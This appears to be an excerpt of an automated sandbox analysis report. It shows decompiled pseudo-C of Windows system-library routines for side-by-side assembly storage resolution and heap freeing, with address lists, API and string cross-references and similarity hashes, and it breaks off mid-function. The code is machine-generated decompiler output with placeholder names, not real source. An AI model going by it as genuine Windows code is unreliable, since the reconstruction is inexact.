					E6A9A5720(0x33, 0, "SXS: %s() bad parameters\nSXS:   Map                : %p\nSXS:   Data               : %p\nSXS:   AssemblyRosterIndex: 0x%lx\nSXS:   Map->AssemblyCount : 0x%lx\n", "RtlpResolveAssemblyStorageMapEntry");
					_t274 = 0xc000000d;
					L21:
					if(_v1073 == 0) {
						L23:
						if(_v1092 != 0) {
							E6A91AD30(_v1092);
						}
						L24:
						if(_v1084 != 0) {
							_push(_v1084);
							E6A9595D0();
						}
						_t170 = _v1156;
						if(_t170 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t170);
						}
						L26:
						return E6A95B640(_t274, _t253, _v12 ^ _t280, _t271, _t272, _t274);
					}
					L22:
					_v1144 = _v1100;
					E6A94CCC0(4,  &_v1144, _v1104);
					goto L23;
				}
				if(__edx == 0 || _t253 < 1 || _t253 >  *((intOrPtr*)(__ecx + 4))) {
					_t166 =  *((intOrPtr*)(_t272 + 4));
					goto L67;
				} else {
					if( *((intOrPtr*)( *((intOrPtr*)(__ecx + 8)) + _t253 * 4)) != 0) {
						goto L26;
					}
					asm("lfence");
					_t258 =  *((intOrPtr*)(__edx + 0x18));
					_t260 =  *((intOrPtr*)(_t258 + __edx + 0x10)) + __edx;
					_t276 =  *((intOrPtr*)(_t253 * 0x18 +  *((intOrPtr*)(_t258 + __edx + 0xc)) + __edx + 0x10)) + __edx;
					_t181 =  *((intOrPtr*)(_t276 + 0x50));
					if( *((intOrPtr*)(_t276 + 0x50)) > 0xfffe) {
						_push(__edx);
						E6A9A5720(0x33, 0, "SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p\n", _t181);
						_t274 = 0xc0000106;
						goto L23;
					}
					if(( *(_t276 + 4) & 0x00000010) != 0) {
						_v1080 =  &_v1164;
						_t272 =  *((intOrPtr*)(_t276 + 0x18)) + _t260;
						if(_t272 != 0) {
							_t184 = wcsrchr(_t272, 0x5c);
							if(_t184 != 0) {
								_t188 = 0x00000004 + (_t184 - _t272 >> 0x00000001) * 0x00000002 & 0x0000ffff;
								_v1088 = _t188;
								_t277 = _t188 & 0x0000ffff;
								if(_t188 <= 0x208) {
									_t264 = _v1080;
									L39:
									memcpy( *(_t264 + 4), _t272, _t277 - 2);
									_t281 = _t281 + 0xc;
									 *((short*)( *((intOrPtr*)(_v1080 + 4)) + (_t277 >> 1) * 2 - 2)) = 0;
									 *_v1080 = _v1088 + 0xfffffffe;
									L18:
									if(_v1084 == 0) {
										if(E6A926A00( *((intOrPtr*)(_v1080 + 4)),  &_v1112, 0,  &_v1184) != 0) {
											_v1156 = _v1108;
											_t199 = _v1184;
											if(_t199 == 0) {
												_t200 = 0;
											} else {
												_v1112 = _t199;
												_v1108 = _v1180;
												_t200 = _v1176;
											}
											_v1192 = _v1192 & 0x00000000;
											_v1188 = _v1188 & 0x00000000;
											_v1204 = _t200;
											_push(0x21);
											_v1200 =  &_v1112;
											_push(3);
											_push( &_v1216);
											_v1208 = 0x18;
											_push( &_v1208);
											_push(0x100020);
											_v1196 = 0x40;
											_push( &_v1084);
											_t205 = E6A959830();
											_t272 = _v1172;
											_t274 = _t205;
											if(_t272 != 0) {
												asm("lock xadd [edi], eax");
												if((_t205 | 0xffffffff) == 0) {
													_push( *((intOrPtr*)(_t272 + 4)));
													E6A9595D0();
													RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t272);
												}
											}
											if(_t274 >= 0) {
												goto L19;
											} else {
												_push(_t274);
												E6A9A5720(0x33, 0, "SXS: Unable to open assembly directory under storage root \"%S\"; Status = 0x%08lx\n",  *((intOrPtr*)(_v1080 + 4)));
												goto L21;
											}
										}
										E6A9A5720(0x33, 0, "SXS: Attempt to translate DOS path name \"%S\" to NT format failed\n",  *((intOrPtr*)(_v1080 + 4)));
										_t274 = 0xc000003a;
										goto L21;
									}
									L19:
									_t271 = _t253;
									_t207 = E6A94CE6C(_v1168, _t253, _v1080,  &_v1084);
									_t274 = _t207;
									if(_t207 < 0) {
										E6A9A5720(0x33, 0, "SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx\n", _t274);
									} else {
										_t274 = 0;
									}
									goto L21;
								}
								_v1094 = _t188;
								_t218 = E6A933A1C(_t277);
								_v1092 = _t218;
								if(_t218 != 0) {
									_t264 =  &_v1096;
									_v1080 = _t264;
									goto L39;
								}
								_t274 = 0xc0000017;
								goto L24;
							}
							_t274 = 0xc00000e5;
							goto L23;
						}
						_t274 = 0xc00000e5;
						goto L26;
					}
					_v1080 = _v1080 & 0x00000000;
					_t219 =  *((intOrPtr*)(_t276 + 0x50));
					_v1152 = _t219;
					_v1150 = _t219;
					_v1144 = __edx;
					_v1148 =  *((intOrPtr*)(_t276 + 0x54)) + _t260;
					_v1140 = _t253;
					_v1128 =  &_v552;
					_v1136 = 0;
					_v1132 = 0x2160000;
					_v1124 = 0;
					_v1116 = 0;
					_v1120 = 0;
					E6A94CCC0(1,  &_v1144, _v1104);
					if(_v1116 != 0) {
						_t274 = 0xc0000120;
						goto L23;
					}
					if(_v1124 != 0) {
						_t271 =  &_v1132;
						_t274 = E6A94CF6A( &_v1132,  &_v1152,  &_v1164,  &_v1096,  &_v1080,  &_v1084);
						if(_t274 >= 0) {
							_t271 = _t253;
							_t274 = E6A94CE6C(_t272, _t253,  &_v1132,  &_v1084);
							if(_t274 < 0) {
								_push(_t274);
								_push(_t253);
								_push("SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx\n");
								L44:
								_push(0);
								_push(0x33);
								E6A9A5720();
								goto L23;
							}
							_t274 = 0;
							goto L23;
						}
						_push(_t274);
						_push( &_v1132);
						_push("SXS: Attempt to probe known root of assembly storage (\"%wZ\") failed; Status = 0x%08lx\n");
						goto L44;
					}
					_t279 = _v1120;
					_t272 = 0;
					_t236 = _v1136;
					_v1100 = _t236;
					_v1088 = _t279;
					_v1073 = 1;
					if(_t279 == 0) {
						L16:
						_t305 = _t272 - _t279;
						L17:
						if(_t305 == 0) {
							L54:
							_push(_t272);
							E6A9A5720(0x33, 0, "SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries\n",  &_v1152);
							_t274 = 0xc0150004;
							goto L22;
						}
						goto L18;
					} else {
						goto L10;
					}
					while(1) {
						L10:
						_v1144 = _t236;
						_v1128 =  &_v552;
						_v1140 = _t272;
						_v1132 = 0x2160000;
						_v1136 = 0;
						E6A94CCC0(2,  &_v1144, _v1104);
						if(_v1136 != 0) {
							break;
						}
						_t242 = _v1132;
						if(_v1135 != 0) {
							if(_t242 == 0) {
								goto L54;
							}
							_t119 = _t272 + 1; // 0x1
							_t279 = _t119;
							_v1088 = _t279;
						}
						if(_t242 == 0) {
							L27:
							_t272 = _t272 + 1;
							if(_t272 >= _t279) {
								goto L17;
							} else {
								_t236 = _v1100;
								continue;
							}
						}
						if(_v1084 != 0) {
							_push(_v1084);
							E6A9595D0();
							_v1084 = _v1084 & 0x00000000;
						}
						_t271 =  &_v1132;
						_t274 = E6A94CF6A( &_v1132,  &_v1152,  &_v1164,  &_v1096,  &_v1080,  &_v1084);
						if(_t274 < 0) {
							if(_t274 != 0xc0150004) {
								_push(_t274);
								_push( &_v1152);
								E6A9A5720(0x33, 0, "SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx\n",  &_v1132);
								goto L22;
							}
							_t279 = _v1088;
							goto L27;
						} else {
							_t279 = _v1088;
							goto L16;
						}
					}
					_t274 = 0xc0000120;
					goto L22;
				}
			}

0x6a94c9bf
0x6a94c9d1
0x6a94c9d8
0x6a94c9dc
0x6a94c9e9
0x6a94c9eb
0x6a94c9f3
0x6a94c9f9
0x6a94c9fb
0x6a94ca01
0x6a94ca07
0x6a94ca09
0x6a94ca0f
0x6a94ca19
0x6a94ca1f
0x6a94ca25
0x6a94ca2b
0x6a94ca31
0x6a94ca39
0x6a98ac23
0x6a98ac23
0x6a98ac24
0x6a98ac25
0x6a98ac26
0x6a98ac34
0x6a98ac3c
0x6a94cc3c
0x6a94cc43
0x6a94cc65
0x6a94cc6c
0x6a98ac4c
0x6a98ac4c
0x6a94cc72
0x6a94cc79
0x6a98ac56
0x6a98ac5c
0x6a98ac5c
0x6a94cc7f
0x6a94cc87
0x6a98ac72
0x6a98ac72
0x6a94cc8d
0x6a94cc9f
0x6a94cc9f
0x6a94cc45
0x6a94cc51
0x6a94cc60
0x00000000
0x6a94cc60
0x6a94ca41
0x6a98ac20
0x00000000
0x6a94ca59
0x6a94ca5f
0x00000000
0x00000000
0x6a94ca65
0x6a94ca68
0x6a94ca76
0x6a94ca7c
0x6a94ca7e
0x6a94ca86
0x6a98a8ea
0x6a98a8f5
0x6a98a8fd
0x00000000
0x6a98a8fd
0x6a94ca90
0x6a98a90d
0x6a98a916
0x6a98a918
0x6a98a927
0x6a98a930
0x6a98a94c
0x6a98a94f
0x6a98a955
0x6a98a95b
0x6a98a98c
0x6a98a992
0x6a98a99a
0x6a98a9a9
0x6a98a9af
0x6a98a9c3
0x6a94cc09
0x6a94cc10
0x6a98ab03
0x6a98ab2f
0x6a98ab35
0x6a98ab3e
0x6a98ab5a
0x6a98ab40
0x6a98ab40
0x6a98ab4c
0x6a98ab52
0x6a98ab52
0x6a98ab5c
0x6a98ab63
0x6a98ab6a
0x6a98ab76
0x6a98ab78
0x6a98ab84
0x6a98ab86
0x6a98ab8d
0x6a98ab97
0x6a98ab98
0x6a98aba3
0x6a98abad
0x6a98abae
0x6a98abb3
0x6a98abb9
0x6a98abbd
0x6a98abc2
0x6a98abc6
0x6a98abc8
0x6a98abcb
0x6a98abdc
0x6a98abdc
0x6a98abc6
0x6a98abe3
0x00000000
0x6a98abe9
0x6a98abef
0x6a98abfc
0x00000000
0x6a98ac01
0x6a98abe3
0x6a98ab17
0x6a98ab1f
0x00000000
0x6a98ab1f
0x6a94cc16
0x6a94cc29
0x6a94cc2b
0x6a94cc30
0x6a94cc34
0x6a98ac13
0x6a94cc3a
0x6a94cc3a
0x6a94cc3a
0x00000000
0x6a94cc34
0x6a98a95e
0x6a98a965
0x6a98a96a
0x6a98a972
0x6a98a97e
0x6a98a984
0x00000000
0x6a98a984
0x6a98a974
0x00000000
0x6a98a974
0x6a98a932
0x00000000
0x6a98a932
0x6a98a91a
0x00000000
0x6a98a91a
0x6a94ca96
0x6a94ca9d
0x6a94caa7
0x6a94caae
0x6a94caba
0x6a94cac0
0x6a94cace
0x6a94cad4
0x6a94cae3
0x6a94cae9
0x6a94caf3
0x6a94caf9
0x6a94caff
0x6a94cb05
0x6a94cb11
0x6a98a9cb
0x00000000
0x6a98a9cb
0x6a94cb1e
0x6a98a9f8
0x6a98aa03
0x6a98aa07
0x6a98aa36
0x6a98aa47
0x6a98aa4b
0x6a98aa18
0x6a98aa19
0x6a98aa1a
0x6a98aa1f
0x6a98aa1f
0x6a98aa21
0x6a98aa23
0x00000000
0x6a98aa28
0x6a98aa4d
0x00000000
0x6a98aa4d
0x6a98aa09
0x6a98aa10
0x6a98aa11
0x00000000
0x6a98aa11
0x6a94cb24
0x6a94cb2a
0x6a94cb2c
0x6a94cb32
0x6a94cb38
0x6a94cb3e
0x6a94cb47
0x6a94cc01
0x6a94cc01
0x6a94cc03
0x6a94cc03
0x6a98aac0
0x6a98aac0
0x6a98aad1
0x6a98aad9
0x00000000
0x6a98aad9
0x00000000
0x00000000
0x00000000
0x00000000
0x6a94cb4d
0x6a94cb4d
0x6a94cb53
0x6a94cb5f
0x6a94cb6e
0x6a94cb74
0x6a94cb7e
0x6a94cb87
0x6a94cb93
0x00000000
0x00000000
0x6a94cba0
0x6a94cba7
0x6a98aa57
0x00000000
0x00000000
0x6a98aa59
0x6a98aa59
0x6a98aa5c
0x6a98aa5c
0x6a94cbb0
0x6a94cca2
0x6a94cca2
0x6a94cca5
0x00000000
0x6a94ccab
0x6a94ccab
0x00000000
0x6a94ccab
0x6a94cca5
0x6a94cbbd
0x6a98aa67
0x6a98aa6d
0x6a98aa72
0x6a98aa72
0x6a94cbe6
0x6a94cbf1
0x6a94cbf5
0x6a98aa84
0x6a98aa91
0x6a98aa98
0x6a98aaa9
0x00000000
0x6a98aaae
0x6a98aa86
0x00000000
0x6a94cbfb
0x6a94cbfb
0x00000000
0x6a94cbfb
0x6a94cbf5
0x6a98aab6
0x00000000
0x6a98aab6

APIs

DbgPrintEx.1105(00000033,00000000,SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p,?,?,?,00000000,00000002), ref: 6A98A8F5

Part of subcall function 6A94CCC0: memcpy.1105(6A8F4F84,?,6A926167,00000040,?,?), ref: 6A94CD56

DbgPrintEx.1105(00000033,00000000,SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx,?,00000000,02160000,?,?,02080000,?,00000000,?,00000001,?,?,?), ref: 6A98AA23
DbgPrintEx.1105(00000033,00000000,SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx,RtlpResolveAssemblyStorageMapEntry,00000040,?,00000000,00000000,?,00000000,00000002), ref: 6A98AC34
RtlDeleteBoundaryDescriptor.1105(00000000,00000000,00000000,00000000,00100020,?,?,00000003,00000021,?,?,00000000,?,00000001,?,?), ref: 6A98AC4C
ZwClose.1105(00000000,00000000,00000000,00000000,00100020,?,?,00000003,00000021,?,?,00000000,?,00000001,?,?), ref: 6A98AC5C
RtlFreeHeap.1105(?,00000000,?,00000000,00000000,00000000,00100020,?,?,00000003,00000021,?,?,00000000,?,00000001), ref: 6A98AC72

Strings

SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 6A98AC0A
SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 6A98ABF3
SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 6A98AB0E
SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 6A98AA11
RtlpResolveAssemblyStorageMapEntry, xrefs: 6A98AC27
SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 6A98AC2C
SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 6A98A8EC
@, xrefs: 6A98ABA3
SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 6A98AAC8
SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 6A98AA1A
SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 6A98AAA0

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$BoundaryCloseDeleteDescriptorFreeHeapmemcpy
String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
API String ID: 565419495-4009184096
Opcode ID: c0cb888663bf554fdc319a87be09df45ba0bf38ec51c2b881528eb99be9f2879
Instruction ID: b6b2ea10a38e92d8e1b44d4690c871618cdf82cbab0b5fc7ba1a73c84adcf281
Opcode Fuzzy Hash: c0cb888663bf554fdc319a87be09df45ba0bf38ec51c2b881528eb99be9f2879
Instruction Fuzzy Hash: 7A0272F1D04228AFDB60CB14CD84B9AB7B8EB55305F6245DAE608A7241DF31EE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 6A93A309, Relevance: 49.7, APIs: 22, Strings: 6, Instructions: 687
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E6A93A309(signed int __ecx, signed int __edx, signed int _a4, char _a8) {
				char _v8;
				signed short _v12;
				signed short _v16;
				signed int _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				void* _v60;
				intOrPtr _v64;
				void* _v72;
				void* __ebx;
				void* __edi;
				void* __ebp;
				unsigned int _t246;
				signed char _t247;
				signed short _t249;
				unsigned int _t256;
				signed int _t262;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				intOrPtr _t270;
				signed int _t280;
				signed int _t286;
				signed int _t289;
				intOrPtr _t290;
				signed int _t291;
				signed int _t317;
				signed short _t320;
				intOrPtr _t327;
				signed int _t339;
				signed int _t344;
				signed int _t347;
				intOrPtr _t348;
				signed int _t350;
				signed int _t352;
				signed int _t353;
				signed int _t356;
				intOrPtr _t357;
				intOrPtr _t366;
				signed int _t367;
				signed int _t370;
				intOrPtr _t371;
				signed int _t372;
				signed int _t394;
				signed short _t402;
				intOrPtr _t404;
				intOrPtr _t415;
				signed int _t430;
				signed int _t433;
				signed int _t437;
				signed int _t445;
				signed short _t446;
				signed short _t449;
				signed short _t452;
				signed int _t455;
				signed int _t460;
				signed short* _t468;
				signed int _t480;
				signed int _t481;
				signed int _t483;
				intOrPtr _t484;
				signed int _t491;
				unsigned int _t506;
				unsigned int _t508;
				signed int _t513;
				signed int _t514;
				signed int _t521;
				signed short* _t533;
				signed int _t541;
				signed int _t543;
				signed int _t546;
				unsigned int _t551;
				signed int _t553;

				_t450 = __ecx;
				_t553 = __ecx;
				_t539 = __edx;
				_v28 = 0;
				_v40 = 0;
				if(( *(__ecx + 0xcc) ^  *0x6aa08a68) != 0) {
					_push(_a4);
					_t513 = __edx;
					L11:
					_t246 = E6A93A830(_t450, _t513);
					L7:
					return _t246;
				}
				if(_a8 != 0) {
					__eflags =  *(__edx + 2) & 0x00000008;
					if(( *(__edx + 2) & 0x00000008) != 0) {
						 *((intOrPtr*)(__ecx + 0x230)) =  *((intOrPtr*)(__ecx + 0x230)) - 1;
						_t430 = E6A93DF24(__edx,  &_v12,  &_v16);
						__eflags = _t430;
						if(_t430 != 0) {
							_t157 = _t553 + 0x234;
							 *_t157 =  *(_t553 + 0x234) - _v16;
							__eflags =  *_t157;
						}
					}
					_t445 = _a4;
					_t514 = _t539;
					_v48 = _t539;
					L14:
					_t247 =  *((intOrPtr*)(_t539 + 6));
					__eflags = _t247;
					if(_t247 == 0) {
						_t541 = _t553;
					} else {
						_t541 = (_t539 & 0xffff0000) - ((_t247 & 0x000000ff) << 0x10) + 0x10000;
						__eflags = _t541;
					}
					_t249 = 7 + _t445 * 8 + _t514;
					_v12 = _t249;
					__eflags =  *_t249 - 3;
					if( *_t249 == 3) {
						_v16 = _t514 + _t445 * 8 + 8;
						E6A919373(_t553, _t514 + _t445 * 8 + 8);
						_t452 = _v16;
						_v28 =  *(_t452 + 0x10);
						 *((intOrPtr*)(_t541 + 0x30)) =  *((intOrPtr*)(_t541 + 0x30)) - 1;
						_v36 =  *(_t452 + 0x14);
						 *((intOrPtr*)(_t541 + 0x2c)) =  *((intOrPtr*)(_t541 + 0x2c)) - ( *(_t452 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t553 + 0x1e8)) =  *((intOrPtr*)(_t553 + 0x1e8)) +  *(_t452 + 0x14);
						 *((intOrPtr*)(_t553 + 0x1f8)) =  *((intOrPtr*)(_t553 + 0x1f8)) - 1;
						_t256 =  *(_t452 + 0x14);
						__eflags = _t256 - 0x7f000;
						if(_t256 >= 0x7f000) {
							_t142 = _t553 + 0x1ec;
							 *_t142 =  *(_t553 + 0x1ec) - _t256;
							__eflags =  *_t142;
							_t256 =  *(_t452 + 0x14);
						}
						_t513 = _v48;
						_t445 = _t445 + (_t256 >> 3) + 0x20;
						_a4 = _t445;
						_v40 = 1;
					} else {
						_t27 =  &_v36;
						 *_t27 = _v36 & 0x00000000;
						__eflags =  *_t27;
					}
					__eflags =  *((intOrPtr*)(_t553 + 0x54)) -  *((intOrPtr*)(_t513 + 4));
					if( *((intOrPtr*)(_t553 + 0x54)) ==  *((intOrPtr*)(_t513 + 4))) {
						_v44 = _t513;
						_t262 = E6A91A9EF(_t541, _t513);
						__eflags = _a8;
						_v32 = _t262;
						if(_a8 != 0) {
							__eflags = _t262;
							if(_t262 == 0) {
								goto L19;
							}
						}
						__eflags =  *0x6aa08748 - 1;
						if( *0x6aa08748 >= 1) {
							__eflags = _t262;
							if(_t262 == 0) {
								_t415 =  *[fs:0x30];
								__eflags =  *(_t415 + 0xc);
								if( *(_t415 + 0xc) == 0) {
									_push("HEAP: ");
									E6A91B150();
								} else {
									E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push("(UCRBlock != NULL)");
								E6A91B150();
								__eflags =  *0x6aa07bc8;
								if( *0x6aa07bc8 == 0) {
									__eflags = 1;
									E6A9D2073(_t445, 1, _t541, 1);
								}
								_t513 = _v48;
								_t445 = _a4;
							}
						}
						_t350 = _v40;
						_t480 = _t445 << 3;
						_v20 = _t480;
						_t481 = _t480 + _t513;
						_v24 = _t481;
						__eflags = _t350;
						if(_t350 == 0) {
							_t481 = _t481 + 0xfffffff0;
							__eflags = _t481;
						}
						_t483 = (_t481 & 0xfffff000) - _v44;
						__eflags = _t483;
						_v52 = _t483;
						if(_t483 == 0) {
							__eflags =  *0x6aa08748 - 1;
							if( *0x6aa08748 < 1) {
								goto L9;
							}
							__eflags = _t350;
							goto L146;
						} else {
							_t352 = E6A94174B( &_v44,  &_v52, 0x4000);
							__eflags = _t352;
							if(_t352 < 0) {
								goto L94;
							}
							_t353 = E6A937D50();
							_t447 = 0x7ffe0380;
							__eflags = _t353;
							if(_t353 != 0) {
								_t356 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t356 = 0x7ffe0380;
							}
							__eflags =  *_t356;
							if( *_t356 != 0) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0x240) & 0x00000001;
								if(( *(_t357 + 0x240) & 0x00000001) != 0) {
									E6A9D14FB(_t553, _v44, _v52, 5);
								}
							}
							_t358 = _v32;
							 *((intOrPtr*)(_t553 + 0x200)) =  *((intOrPtr*)(_t553 + 0x200)) + 1;
							_t484 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t484 - 0x7f000;
							if(_t484 >= 0x7f000) {
								_t90 = _t553 + 0x1ec;
								 *_t90 =  *(_t553 + 0x1ec) - _t484;
								__eflags =  *_t90;
							}
							E6A919373(_t553, _t358);
							_t486 = _v32;
							 *((intOrPtr*)(_v32 + 0x14)) =  *((intOrPtr*)(_v32 + 0x14)) + _v52;
							E6A919819(_t486);
							 *((intOrPtr*)(_t541 + 0x2c)) =  *((intOrPtr*)(_t541 + 0x2c)) + (_v52 >> 0xc);
							 *((intOrPtr*)(_t553 + 0x1e8)) =  *((intOrPtr*)(_t553 + 0x1e8)) - _v52;
							_t366 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t366 - 0x7f000;
							if(_t366 >= 0x7f000) {
								_t104 = _t553 + 0x1ec;
								 *_t104 =  *(_t553 + 0x1ec) + _t366;
								__eflags =  *_t104;
							}
							__eflags = _v40;
							if(_v40 == 0) {
								_t533 = _v52 + _v44;
								_v32 = _t533;
								_t533[2] =  *((intOrPtr*)(_t553 + 0x54));
								__eflags = _v24 - _v52 + _v44;
								if(_v24 == _v52 + _v44) {
									__eflags =  *(_t553 + 0x4c);
									if( *(_t553 + 0x4c) != 0) {
										_t533[1] = _t533[1] ^ _t533[0] ^  *_t533;
										 *_t533 =  *_t533 ^  *(_t553 + 0x50);
									}
								} else {
									_t449 = 0;
									_t533[3] = 0;
									_t533[1] = 0;
									_t394 = _v20 - _v52 >> 0x00000003 & 0x0000ffff;
									_t491 = _t394;
									 *_t533 = _t394;
									__eflags =  *0x6aa08748 - 1;
									if( *0x6aa08748 >= 1) {
										__eflags = _t491 - 1;
										if(_t491 <= 1) {
											_t404 =  *[fs:0x30];
											__eflags =  *(_t404 + 0xc);
											if( *(_t404 + 0xc) == 0) {
												_push("HEAP: ");
												E6A91B150();
											} else {
												E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
											}
											_push("((LONG)FreeEntry->Size > 1)");
											E6A91B150();
											_pop(_t491);
											__eflags =  *0x6aa07bc8 - _t449;
											if( *0x6aa07bc8 == _t449) {
												__eflags = 0;
												_t491 = 1;
												E6A9D2073(_t449, 1, _t541, 0);
											}
											_t533 = _v32;
										}
									}
									_t533[1] = _t449;
									__eflags =  *((intOrPtr*)(_t541 + 0x18)) - _t541;
									if( *((intOrPtr*)(_t541 + 0x18)) != _t541) {
										_t402 = (_t533 - _t541 >> 0x10) + 1;
										_v16 = _t402;
										__eflags = _t402 - 0xfe;
										if(_t402 >= 0xfe) {
											_push(_t491);
											_push(_t449);
											E6A9DA80D( *((intOrPtr*)(_t541 + 0x18)), 3, _t533, _t541);
											_t533 = _v48;
											_t402 = _v32;
										}
										_t449 = _t402;
									}
									_t533[3] = _t449;
									E6A93A830(_t553, _t533,  *_t533 & 0x0000ffff);
									_t447 = 0x7ffe0380;
								}
							}
							_t367 = E6A937D50();
							__eflags = _t367;
							if(_t367 != 0) {
								_t370 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t370 = _t447;
							}
							__eflags =  *_t370;
							if( *_t370 != 0) {
								_t371 =  *[fs:0x30];
								__eflags =  *(_t371 + 0x240) & 1;
								if(( *(_t371 + 0x240) & 1) != 0) {
									__eflags = E6A937D50();
									if(__eflags != 0) {
										_t447 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									E6A9D1411(_t447, _t553, _v44, __eflags, _v52,  *(_t553 + 0x74) << 3, _v40, _v36,  *_t447 & 0x000000ff);
								}
							}
							_t372 = E6A937D50();
							_t546 = 0x7ffe038a;
							_t446 = 0x230;
							__eflags = _t372;
							if(_t372 != 0) {
								_t246 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t246 = 0x7ffe038a;
							}
							__eflags =  *_t246;
							if( *_t246 == 0) {
								goto L7;
							} else {
								__eflags = E6A937D50();
								if(__eflags != 0) {
									_t546 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + _t446;
									__eflags = _t546;
								}
								_push( *_t546 & 0x000000ff);
								_push(_v36);
								_push(_v40);
								goto L120;
							}
						}
					} else {
						L19:
						_t31 = _t513 + 0x101f; // 0x101f
						_t455 = _t31 & 0xfffff000;
						_t32 = _t513 + 0x28; // 0x28
						_v44 = _t455;
						__eflags = _t455 - _t32;
						if(_t455 == _t32) {
							_t455 = _t455 + 0x1000;
							_v44 = _t455;
						}
						_t265 = _t445 << 3;
						_v24 = _t265;
						_t266 = _t265 + _t513;
						__eflags = _v40;
						_v20 = _t266;
						if(_v40 == 0) {
							_t266 = _t266 + 0xfffffff0;
							__eflags = _t266;
						}
						_t267 = _t266 & 0xfffff000;
						_v52 = _t267;
						__eflags = _t267 - _t455;
						if(_t267 < _t455) {
							__eflags =  *0x6aa08748 - 1;
							if( *0x6aa08748 < 1) {
								L9:
								_t450 = _t553;
								L10:
								_push(_t445);
								goto L11;
							}
							__eflags = _v40;
							L146:
							if(__eflags == 0) {
								goto L9;
							}
							_t270 =  *[fs:0x30];
							__eflags =  *(_t270 + 0xc);
							if( *(_t270 + 0xc) == 0) {
								_push("HEAP: ");
								E6A91B150();
							} else {
								E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("(!TrailingUCR)");
							E6A91B150();
							__eflags =  *0x6aa07bc8;
							if( *0x6aa07bc8 == 0) {
								__eflags = 0;
								E6A9D2073(_t445, 1, _t541, 0);
							}
							L152:
							_t445 = _a4;
							L153:
							_t513 = _v48;
							goto L9;
						}
						_v32 = _t267;
						_t280 = _t267 - _t455;
						_v32 = _v32 - _t455;
						__eflags = _a8;
						_t460 = _v32;
						_v52 = _t460;
						if(_a8 != 0) {
							L27:
							__eflags = _t280;
							if(_t280 == 0) {
								L33:
								_t446 = 0;
								__eflags = _v40;
								if(_v40 == 0) {
									_t468 = _v44 + _v52;
									_v36 = _t468;
									_t468[2] =  *((intOrPtr*)(_t553 + 0x54));
									__eflags = _v20 - _v52 + _v44;
									if(_v20 == _v52 + _v44) {
										__eflags =  *(_t553 + 0x4c);
										if( *(_t553 + 0x4c) != 0) {
											_t468[1] = _t468[1] ^ _t468[0] ^  *_t468;
